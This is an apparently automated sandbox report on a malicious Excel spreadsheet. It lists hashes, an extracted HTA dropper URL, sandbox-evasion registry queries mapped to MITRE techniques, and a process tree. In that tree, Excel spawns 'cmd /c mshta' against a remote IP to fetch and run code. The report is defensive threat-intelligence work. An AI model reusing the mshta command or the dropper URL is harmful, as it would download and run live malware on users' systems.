4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e

General

Target

4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e.xls
Size

104KB
MD5

790c1484d923af6f80e5633644105c86
SHA1

a77d1b876c3f56d80dfc81656792f87b637be58e
SHA256

4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e
SHA512

0cbff19b3c478e2e86b116aff6bae380c026484dbee4c614d538f4e3651c89d053825691cfc21377af47691d6dbff98a9f254842e6f4327d23e492e049778c06
SSDEEP

3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/qw/as/se.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1900	2036	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	3448	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2036	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE
2036	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2036 wrote to memory of 1900	2036	EXCEL.EXE	86
PID 2036 wrote to memory of 1900	2036	EXCEL.EXE	86
PID 1900 wrote to memory of 3448	1900	cmd.exe	88
PID 1900 wrote to memory of 3448	1900	cmd.exe	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4f2831e1939e0237a7421a2a62e2b704e12e46799e4a4b71fd092bf21672f25e.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2036
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c mshta http://91.240.118.168/qw/as/se.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.168/qw/as/se.html
    3⤵
    - Blocklisted process makes network request
    PID:3448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
41c2ee8b006f598a051ef672db7dcaaf

SHA1
9769cb06769a5b43f40db1a1fa4c75ad9fde053f

SHA256
e29e9759edad943f40a4e7bcb29f5ec14757faa24542b60dae724e65aa985d23

SHA512
a7c717db96a72df9f349f5ef140b3ea4501d5ee2c51cbe0b9552bb4ca195ccccef78f3e5cb53e3d55bbbda79f62596edf06f2a044b00619f0d35fba779e560c7

Download Submit
memory/2036-10-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-0-0x00007FFA254F0000-0x00007FFA25500000-memory.dmp

Filesize
64KB

Download
memory/2036-11-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-4-0x00007FFA254F0000-0x00007FFA25500000-memory.dmp

Filesize
64KB

Download
memory/2036-6-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-7-0x00007FFA254F0000-0x00007FFA25500000-memory.dmp

Filesize
64KB

Download
memory/2036-5-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-12-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-13-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-15-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

Filesize
64KB

Download
memory/2036-2-0x00007FFA254F0000-0x00007FFA25500000-memory.dmp

Filesize
64KB

Download
memory/2036-3-0x00007FFA254F0000-0x00007FFA25500000-memory.dmp

Filesize
64KB

Download
memory/2036-14-0x00007FFA22DE0000-0x00007FFA22DF0000-memory.dmp

Filesize
64KB

Download
memory/2036-17-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-19-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-18-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-16-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-9-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-8-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-30-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-31-0x00007FFA6550D000-0x00007FFA6550E000-memory.dmp

Filesize
4KB

Download
memory/2036-32-0x00007FFA65470000-0x00007FFA65665000-memory.dmp

Filesize
2.0MB

Download
memory/2036-1-0x00007FFA6550D000-0x00007FFA6550E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads